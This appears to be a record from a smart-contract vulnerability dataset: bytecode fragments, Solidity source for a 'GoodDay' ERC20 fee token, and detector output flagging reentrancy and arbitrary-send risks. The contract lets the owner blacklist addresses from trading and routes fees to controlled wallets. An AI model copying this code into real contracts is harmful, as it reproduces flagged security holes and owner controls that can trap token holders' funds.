01b038a166000908152600460209081526040808320338452909152902054919061121d565b610b56565b5060019392505050565b60006104c23061063f565b905090565b6011546001600160a01b0316336001600160a01b0316146104e757600080fd5b603381106105345760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461059a5760405162461bcd60e51b815260040161052b90611c46565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610565565b6001600160a01b0381166000908152600660205260408120546104489042611d36565b6011546001600160a01b0316336001600160a01b03161461063257600080fd5b4761063c81611257565b50565b6001600160a01b038116600090815260026020526040812054610448906112dc565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161052b90611c46565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610444338484610c7a565b6001600160a01b0381166000908152600660205260408120600101546104489042611d36565b6011546001600160a01b0316336001600160a01b03161461072857600080fd5b60006107333061063f565b905061063c81611360565b6000546001600160a01b031633146107685760405162461bcd60e51b815260040161052b90611c46565b6014805460ff60a01b1916600160a01b179055610786426078611ceb565b601555565b6014546000906104c2906001600160a01b031661063f565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161052b90611c46565b601454600160a01b900460ff16156108275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108643082683635c9adc5dea00000610b56565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089d57600080fd5b505afa1580156108b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190611ab7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091d57600080fd5b505afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611ab7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611ab7565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a058161063f565b600080610a1a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7d57600080fd5b505af1158015610a91573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab69190611bc6565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1a57600080fd5b505af1158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611b92565b5050565b6001600160a01b038316610bb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b60008111610da25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b6000546001600160a01b03848116911614801590610dce57506000546001600160a01b03838116911614155b156111c057601454600160a81b900460ff1615610e4e573360009081526006602052604090206002015460ff16610e4e57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7957506013546001600160a01b03838116911614155b8015610e9e57506001600160a01b03821660009081526005602052604090205460ff16155b1561100257601454600160a01b900460ff16610efc5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052b565b60066009556004600a55601454600160a81b900460ff1615610fc857426015541115610fc857601054811115610f3157600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa35760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052b565b610fae42602d611ceb565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100257610fe542600f611ceb565b6001600160a01b0383166000908152600660205260409020600101555b600061100d3061063f565b601454909150600160b01b900460ff1615801561103857506014546001600160a01b03858116911614155b801561104d5750601454600160a01b900460ff165b156111be57601454600160a81b900460ff16156110da576001600160a01b03841660009081526006602052604090206001015442116110da5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052b565b601454600160b81b900460ff161561113f576000611103600c548461150590919063ffffffff16565b6014549091506111329061112b908590611125906001600160a01b031661063f565b90611584565b82906115e3565b905061113d81611625565b505b80156111ac57600b546014546111759160649161116f9190611169906001600160a01b031661063f565b90611505565b906115e3565b8111156111a357600b546014546111a09160649161116f9190611169906001600160a01b031661063f565b90505b6111ac81611360565b4780156111bc576111bc47611257565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120257506001600160a01b03831660009081526005602052604090205460ff165b1561120b575060005b61121784848484611693565b50505050565b600081848411156112415760405162461bcd60e51b815260040161052b9190611bf3565b50600061124e8486611d36565b95945050505050565b6011546001600160a01b03166108fc6112718360026115e3565b6040518115909202916000818181858888f19350505050158015611299573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b48360026115e3565b6040518115909202916000818181858888f19350505050158015610b52573d6000803e3d6000fd5b60006007548211156113435760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052b565b600061134d6116c1565b905061135983826115e3565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140a57600080fd5b505afa15801561141e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114429190611ab7565b8160018151811061146357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114899130911684610b56565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c2908590600090869030904290600401611c7b565b600060405180830381600087803b1580156114dc57600080fd5b505af11580156114f0573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151457506000610448565b60006115208385611d17565b90508261152d8583611d03565b146113595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b6000806115918385611ceb565b9050838110156113595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b600061135983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e4565b600a808210156116375750600a61164b565b60288211156116485750602861164b565b50805b611656816002611712565b15611669578061166581611d4d565b9150505b611679600a61116f836006611505565b60095561168c600a61116f836004611505565b600a555050565b806116a0576116a0611754565b6116ab848484611782565b8061121757611217600e54600955600f54600a55565b60008060006116ce611879565b90925090506116dd82826115e3565b9250505090565b600081836117055760405162461bcd60e51b815260040161052b9190611bf3565b50600061124e8486611d03565b600061135983836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118bb565b6009541580156117645750600a54155b1561176b57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611794876118ef565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c6908761194c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f59086611584565b6001600160a01b0389166000908152600260205260409020556118178161198e565b61182184836119d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186691815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189582826115e3565b8210156118b257505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118dc5760405162461bcd60e51b815260040161052b9190611bf3565b506118e78385611d68565b949350505050565b600080600080600080600080600061190c8a600954600a546119fc565b925092509250600061191c6116c1565b9050600080600061192f8e878787611a4b565b919e509c509a509598509396509194505050505091939550919395565b600061135983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121d565b60006119986116c1565b905060006119a68383611505565b306000908152600260205260409020549091506119c39082611584565b30600090815260026020526040902055505050565b6007546119e5908361194c565b6007556008546119f59082611584565b6008555050565b6000808080611a10606461116f8989611505565b90506000611a23606461116f8a89611505565b90506000611a3b82611a358b8661194c565b9061194c565b9992985090965090945050505050565b6000808080611a5a8886611505565b90506000611a688887611505565b90506000611a768888611505565b90506000611a8882611a35868661194c565b939b939a50919850919650505050505050565b600060208284031215611aac578081fd5b813561135981611da8565b600060208284031215611ac8578081fd5b815161135981611da8565b60008060408385031215611ae5578081fd5b8235611af081611da8565b91506020830135611b0081611da8565b809150509250929050565b600080600060608486031215611b1f578081fd5b8335611b2a81611da8565b92506020840135611b3a81611da8565b929592945050506040919091013590565b60008060408385031215611b5d578182fd5b8235611b6881611da8565b946020939093013593505050565b600060208284031215611b87578081fd5b813561135981611dbd565b600060208284031215611ba3578081fd5b815161135981611dbd565b600060208284031215611bbf578081fd5b5035919050565b600080600060608486031215611bda578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1f57858101830151858201604001528201611c03565b81811115611c305783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cca5784516001600160a01b031683529383019391830191600101611ca5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfe57611cfe611d7c565b500190565b600082611d1257611d12611d92565b500490565b6000816000190483118215151615611d3157611d31611d7c565b500290565b600082821015611d4857611d48611d7c565b500390565b6000600019821415611d6157611d61611d7c565b5060010190565b600082611d7757611d77611d92565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063c57600080fd5b801515811461063c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365467265646479277320436f696e207c20742e6d652f667269646179313374685f78797aa2646970667358221220383a73d9052a52fbfb21621d12e7a26706211f35392f99a9537d97d65efb508764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
20
0x498503a581c98fb4eb404242f10349d88063926b
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoodDay is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Good Day"; string private constant _symbol = unicode"GD"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (1 seconds); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 7); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 1); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f714610442578063db92dbb614610462578063dd62ed3e14610477578063e6ec64ec146104bd57600080fd5b8063c3c8cd80146103f8578063c4081a4c1461040d578063c9567bf91461042d57600080fd5b806370a0823114610330578063715018a6146103505780638da5cb5b1461036557806395d89b411461038d578063a9059cbb146103b8578063b515566a146103d857600080fd5b8063313ce56711610123578063313ce567146102665780633bbac57914610282578063437823ec146102bb5780634b740b16146102db5780635d098b38146102fb5780636fc3eaec1461031b57600080fd5b806306fdde0314610176578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020f578063273123b71461022f57806327f3a72a1461025157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50604080518082019091526008815267476f6f642044617960c01b60208201525b6040516101b09190611c49565b60405180910390f35b3480156101c557600080fd5b506101d96101d4366004611ada565b6104dd565b60405190151581526020016101b0565b3480156101f557600080fd5b50683635c9adc5dea000005b6040519081526020016101b0565b34801561021b57600080fd5b506101d961022a366004611a9a565b6104f4565b34801561023b57600080fd5b5061024f61024a366004611a2a565b61055d565b005b34801561025d57600080fd5b506102016105b1565b34801561027257600080fd5b50604051600981526020016101b0565b34801561028e57600080fd5b506101d961029d366004611a2a565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102c757600080fd5b5061024f6102d6366004611a2a565b6105c1565b3480156102e757600080fd5b5061024f6102f6366004611bcc565b610605565b34801561030757600080fd5b5061024f610316366004611a2a565b610643565b34801561032757600080fd5b5061024f6106b3565b34801561033c57600080fd5b5061020161034b366004611a2a565b6106e0565b34801561035c57600080fd5b5061024f610702565b34801561037157600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561039957600080fd5b5060408051808201909152600281526111d160f21b60208201526101a3565b3480156103c457600080fd5b506101d96103d3366004611ada565b610776565b3480156103e457600080fd5b5061024f6103f3366004611b05565b610783565b34801561040457600080fd5b5061024f6108ca565b34801561041957600080fd5b5061024f610428366004611c04565b610900565b34801561043957600080fd5b5061024f610933565b34801561044e57600080fd5b5061024f61045d366004611a2a565b610cf7565b34801561046e57600080fd5b50610201610d38565b34801561048357600080fd5b50610201610492366004611a62565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104c957600080fd5b5061024f6104d8366004611c04565b610d50565b60006104ea338484610d83565b5060015b92915050565b6000610501848484610ea7565b610553843361054e85604051806060016040528060288152602001611e1a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611280565b610d83565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b815260040161058790611c9c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006105bc306106e0565b905090565b600d546001600160a01b0316336001600160a01b0316146105e157600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461062557600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461066357600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b0316146106d357600080fd5b476106dd816112ba565b50565b6001600160a01b0381166000908152600260205260408120546104ee9061133f565b6000546001600160a01b0316331461072c5760405162461bcd60e51b815260040161058790611c9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104ea338484610ea7565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161058790611c9c565b60005b81518110156108c65760105482516001600160a01b03909116908390839081106107ea57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141580156108495750600f5482516001600160a01b039091169083908390811061083557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b156108b45760016006600084848151811061087457634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108be81611daf565b9150506107b0565b5050565b600d546001600160a01b0316336001600160a01b0316146108ea57600080fd5b60006108f5306106e0565b90506106dd816113c3565b600d546001600160a01b0316336001600160a01b03161461092057600080fd5b600181111561092e57600080fd5b600955565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161058790611c9c565b601054600160a01b900460ff16156109b75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610587565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109f43082683635c9adc5dea00000610d83565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2d57600080fd5b505afa158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a659190611a46565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aad57600080fd5b505afa158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae59190611a46565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b2d57600080fd5b505af1158015610b41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b659190611a46565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610b95816106e0565b600080610baa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c0d57600080fd5b505af1158015610c21573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c469190611c1c565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c9a57600080fd5b505af1158015610cae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd29190611be8565b506010805460ff60a01b1916600160a01b179055610cf1426001611d41565b60115550565b600d546001600160a01b0316336001600160a01b031614610d1757600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6010546000906105bc906001600160a01b03166106e0565b600d546001600160a01b0316336001600160a01b031614610d7057600080fd5b6007811115610d7e57600080fd5b600a55565b6001600160a01b038316610de55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610587565b6001600160a01b038216610e465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610587565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610587565b6001600160a01b038216610f6d